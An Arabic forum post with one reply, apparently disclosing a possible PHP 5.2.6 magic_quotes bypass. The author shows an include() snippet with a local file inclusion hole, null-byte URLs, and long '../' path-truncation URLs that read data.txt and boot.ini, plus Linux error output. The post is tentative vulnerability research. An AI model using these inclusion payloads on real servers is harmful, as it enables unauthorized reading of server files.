إعـــــــلان

تقليص
لا يوجد إعلان حتى الآن.

ثغرة محتملة [*] php 5.2.6 magic_quote bypass [*]

تقليص
X
 
  • تصفية - فلترة
  • الوقت
  • عرض
إلغاء تحديد الكل
مشاركات جديدة

  • [مقال] ثغرة محتملة [*] php 5.2.6 magic_quote bypass [*]

    بسم الله الرحمن الرحيم

    فيما يلي هو نتيجة لبحث صغير لي حول حماية PHP حيث اظن انني قد توصلت الى خطا في الاصدار 5.2.6 الخاص ب windows و اعتقد ان باقي الاصدارات الاخرى مصابة (رغم انني لم اجرب دلك) على اي هدا العمل الصغير الدي اجهل تماما ان كان قد ظهر من قبل او لا او ان كان صحيحا ام خاطئا ولكنني قررت نشره على الاقل ان كان خاطئا اعلم بدلك.

    هل فكرتم يوما فيما الدي سوف يحصل لو قررنا ان نصعد بواسطة الشل من المجلد الدي نتواجد فيه 100 مرة او 1000 سوف اعطيكم مثالا

    لنفترض ان مسارنا في الشل هو هدا

    كود PHP:
    C:\AppServ\www
    ادا نفدنا هدا الامر

    كود PHP:
    C:\AppServ\www>cd ..\..\
    C:\> 
    فاننا بالطبع سوف ندخل للقرص الصلب لكن ما دا لو كان مسارنا في الشل هو هدا

    كود PHP:
    C:\AppServ\www
    ونفدنا هدا الامر

    كود PHP:
    C:\AppServ\www>cd ..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\ 
    امم في الحقيقة ان النتيجة سوف تكون دائما نفسها فسوف نجد نفسنا في مجلد القرص الصلب

    انطلاقا من هدا المبدا حاولت شن هجوم على دالة include في php هده الدالة تقوم بضم ملف php الى السكريبت

    لنفترض ان لدينا هدا الكود

    كود PHP:

    <?php
    include("scripts/".$_GET["dir"].".php");
    ?>
    وهو كود مصاب بثغرة local file inclusion مادا لو حاولنا قرائة ملف ما على السيرفر عن طريق هدا الكود اي نستغل الثغرة عادة سوف نقوم بهدا

    كود PHP:
    http://127.0.0.1/inc.php?dir=../data.txt 
    حيث inc.php هو الملف الدي يحتوي على الكود المصاب وبما اننا نريد قرائة ملف data.txt الموجود في مجلد اعلى فلقد مررناه الى المتغير dir و هو المتغير المصاب .

    لكن هناك مشكلة وهي اننا سوف نحصل على خطا لان السكريبت يضيف امتداد .php الى الملف الدي نرسله له يعني لو نفدنا هدا

    كود PHP:
    http://127.0.0.1/inc.php?dir=../data.txt 
    فان الدالة سوف تحاول قرائة هدا الملف

    كود PHP:
    ../data.txt.php 
    ولكننا نريد ملف data.txt وليس data.txt.php .

    عادة وكحل لهدا المشكل يتم استخدام طريق NULL Byte اي اظافة %00 الى الملف حتى يتم تجاهل امتداد php. ويكون الامر هكدا

    كود PHP:
    http://127.0.0.1/inc.php?dir=../data.txt%00 
    جميل ولكن الامر ليس سهلا دائما فادا كانت magic_quote مفعلة فاننا لن نستطيع استخدام طريقة Null Byte وسوف يظهر لنا هدا الخطا

    كود PHP:
    Warning: include(scripts/../data.txt\0.php
    ف magic_quote تعمل على تحويل Null Byte الى "0\" ادن ما الحل ؟؟

    فكرت وخطرت لي فكرة الكتابة على الامتداد php. الدي يضيفه السكريبت فلقد حاولت شن هجوم Buffer Overflow على دالة include هكدا

    كود PHP:
    http://127.0.0.1/inc.php?dir=../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../AppServ/www/data.txt 
    الغريب في الامر انني نجحت في دلك

    حيث انني استنتجت ان هناك طول buffer محدد وهو (236 او 237 او 238 ) هدا الطول يؤدي الى اهمال الامتداد بالطبع لازلت ابحث عن سبب كون هده الارقام محظوظة ولكنني ارجح فكرة حدوث Buffer

    ملحوظة

    Buffer هو هدا

    كود PHP:
    ../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../AppServ/www/data.txt (buffer length 237
    وطوله هو 237

    بعدها جربت قرائة ملفات على القرص الصلب هكدا

    كود PHP:
    http://127.0.0.1/inc.php?dir=../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../boot.ini 

    وبالطبع استطعت قرائة الملف.


    مادا عن Linux
    -----------

    بعد توصلي لهده النتائج على Windows توجهت مباشرة الى Linux لانه ايضا له نفس امكانية التنقل في الشل فاردت ان ارى ما الدي يمكن ان يحدث وبعد تجريبي اطوال متغيرة لل Buffer (على 5.2.4) حصلت على هده النتائج

    كود PHP:


    [<a href='function.include'>function.include< in <b>/var/www/htdocs/inc.php</bon line <b>3</b><br />
    [<
    a href='function.include'>function.include</ain <b>/var/www/htdocs/inc.php</bon line <b>3</b><br />
    [<
    a href='function.include' in <b>/var/www/htdocs/inc.php</bon line <b>3</b><br /> 
    بالطبع يمكن وبشكل واضح ملاحظة ان هناك تغير في صيغة الخطا.

    على اي كما قلت في البداية الامر كله مازال حبرا على ورق وبادن الله سوف اتعمق في دراسة المشكل ان كان حقا ثغرة حينما تسمح الفرصة بدلك

  • #2
    وبادن الله سوف اتعمق في دراسة المشكل
    بانتظار النتائج ،،
    (لَا تَحْسَبَنَّ الَّذِينَ يَفْرَحُونَ بِمَا أَتَوا وَّيُحِبُّونَ أَن يُحْمَدُوا بِمَا لَمْ يَفْعَلُوا فَلَا تَحْسَبَنَّهُم بِمَفَازَةٍ مِّنَ الْعَذَابِ وَلَهُمْ عَذَابٌ أَلِيمٌ)
    آل عمران 188
    قال رسول الله صلى الله عليه و سلم :
    {لا يشكر الله من لا يشكر الناس}
    {من كان يؤمن بالله واليوم الآخر،فليقل خيراً أو ليصمت}

    جميع المساهمات الحاملة لهذا التوقيع تخضع لرخصة وقف
    أسأل الله العظيم رب العرش العظيم أن يحسن من حال أمتي

    تعليق

    يعمل...
    X